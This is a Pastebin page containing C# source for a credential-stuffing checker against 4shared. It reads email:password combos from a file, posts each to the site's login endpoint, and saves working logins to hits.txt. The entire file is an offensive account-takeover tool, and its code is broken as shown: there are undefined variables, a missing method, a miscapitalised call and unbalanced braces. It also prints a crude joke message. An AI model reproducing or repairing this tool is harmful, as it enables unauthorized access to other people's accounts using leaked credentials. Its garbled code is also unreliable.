Advertisement
Guest User

Untitled

a guest
Nov 21st, 2018
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.20 KB | None | 0 0
  1. using System;
  2. using System.Collections;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.IO;
  6. using System.Linq;
  7. using System.Net;
  8. using System.Security.Cryptography;
  9. using System.Text;
  10. using System.Threading;
  11. using System.Threading.Tasks;
  12. using System.Timers;
  13.  
  14. namespace Checker_v1
  15. {
  16.  
  17.  
  18.  
  19.     internal static class Program
  20.     {
  21.        
  22.         //Here we declare our strings and ints
  23.         private static string combo = "combo.txt";
  24.         private static Queue<string> comboQueue = new Queue<string>();
  25.         public static Random Random = new Random(Environment.TickCount ^ DateTime.Now.Millisecond);
  26.         private static CookieContainer logincookie;
  27.         private static List<string> multilist = new List<string>();
  28.         private static int loadedcombos = File.ReadLines(Program.combo).Count();
  29.  
  30.  
  31.        
  32.         //This is our main, and no you dont get this by void Main() you know this by where [STAThread] is placed.
  33.         [STAThread]
  34.         public static void Main()
  35.         {
  36.            
  37.  
  38.             Console.Writeline("Hello im big gay put what ever you want here");
  39.            
  40.             foreach (string item in File.ReadLines(Program.combo))
  41.             {
  42.                 Program.comboQueue.Enqueue(item);
  43.             }
  44.             Console.Clear();
  45.             Console.WriteLine("Loaded " + Program.comboQueue.Count + " Combos");
  46.             Console.ForegroundColor = ConsoleColor.Green;
  47.             Console.WriteLine(value);
  48.        
  49.             Console.WriteLine("");
  50.             Console.ForegroundColor = ConsoleColor.White;
  51.             Program.TestCombo();
  52.         }
  53.      
  54.          
  55.  
  56.             public static void SplitArray()
  57.             {
  58.                 string combo = loadedcombo.Dequeue();
  59.                         if (combo != null && combo.Contains(":"))
  60.                         {
  61.                             string user = combo.Split(new char[]
  62.                             {
  63.                                 ':'
  64.                             })[0];
  65.                             string pass = combo.Split(new char[]
  66.                             {
  67.                                 ':'
  68.                             })[1];
  69.             }
  70.  
  71.         private static void CheckLogin(string email, string password)
  72.         {
  73.  
  74.             try
  75.             {
  76.                 char[] array = new char[4]
  77.                          {
  78.                             ':',
  79.                             '\0',
  80.                             '\0',
  81.                             '\0'
  82.                          };
  83.  
  84.  
  85.                 string s = "returnTo=https%253A%252F%252Fwww.4shared.com%252Faccount%252Fhome.jsp&login=" + email + "&password=" + password;
  86.                 CookieContainer cookieContainer = new CookieContainer();
  87.                 UTF8Encoding uTF8Encoding = new UTF8Encoding();
  88.                 byte[] bytes = uTF8Encoding.GetBytes(s);
  89.  
  90.  
  91.                 HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://www.4shared.com/web/login");
  92.  
  93.                 httpWebRequest.Method = "POST";
  94.                 httpWebRequest.KeepAlive = true;
  95.                 httpWebRequest.CookieContainer = cookieContainer;
  96.  
  97.                 byte[] array3 = new byte[4];
  98.                 Program.Random.NextBytes(array3);
  99.                 httpWebRequest.ServicePoint.ConnectionLimit = 9999999;
  100.                 httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0";
  101.        
  102.  
  103.  
  104.                 httpWebRequest.Timeout = 5000;
  105.                 httpWebRequest.Accept = "*/*";
  106.  
  107.  
  108.                 httpWebRequest.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
  109.  
  110.                 httpWebRequest.ContentLength = bytes.Length;
  111.  
  112.                 Stream requestStream = httpWebRequest.GetRequestStream();
  113.                 requestStream.Write(bytes, 0, bytes.Length);
  114.                 requestStream.Close();
  115.                 try
  116.                 {
  117.                     WebResponse webResponse = (HttpWebResponse)httpWebRequest.GetResponse();
  118.                     Program.logincookie = cookieContainer;
  119.                     StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
  120.                     string readresponse = streamReader.ReadToEnd();
  121.                     streamReader.Close();
  122.                     webResponse.Close();
  123.                     if (!readresponse.Contains("Invalid e-mail address or password"))
  124.                     {
  125.                         Console.ForegroundColor = ConsoleColor.Green;
  126.  
  127.                         Console.WriteLine("[HIT] " + email + ":" + password);
  128.  
  129.  
  130.                         File.AppendAllText("hits.txt", email + ":" + password + Environment.NewLine);
  131.                     }
  132.                     else
  133.                     {
  134.                         Console.ForegroundColor = ConsoleColor.Red;
  135.                         Console.WriteLine("[Bad]" + email + ":" + password);
  136.                     }
  137.                 }
  138.                 catch (Exception)
  139.                 {
  140.                     Console.ForegroundColor = ConsoleColor.DarkRed;
  141.                     Console.WriteLine("[Bad]" + email + ":" + password);
  142.                 }
  143.             }
  144.             catch (Exception) { }
  145.         }
  146.         }
  147.  
  148.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement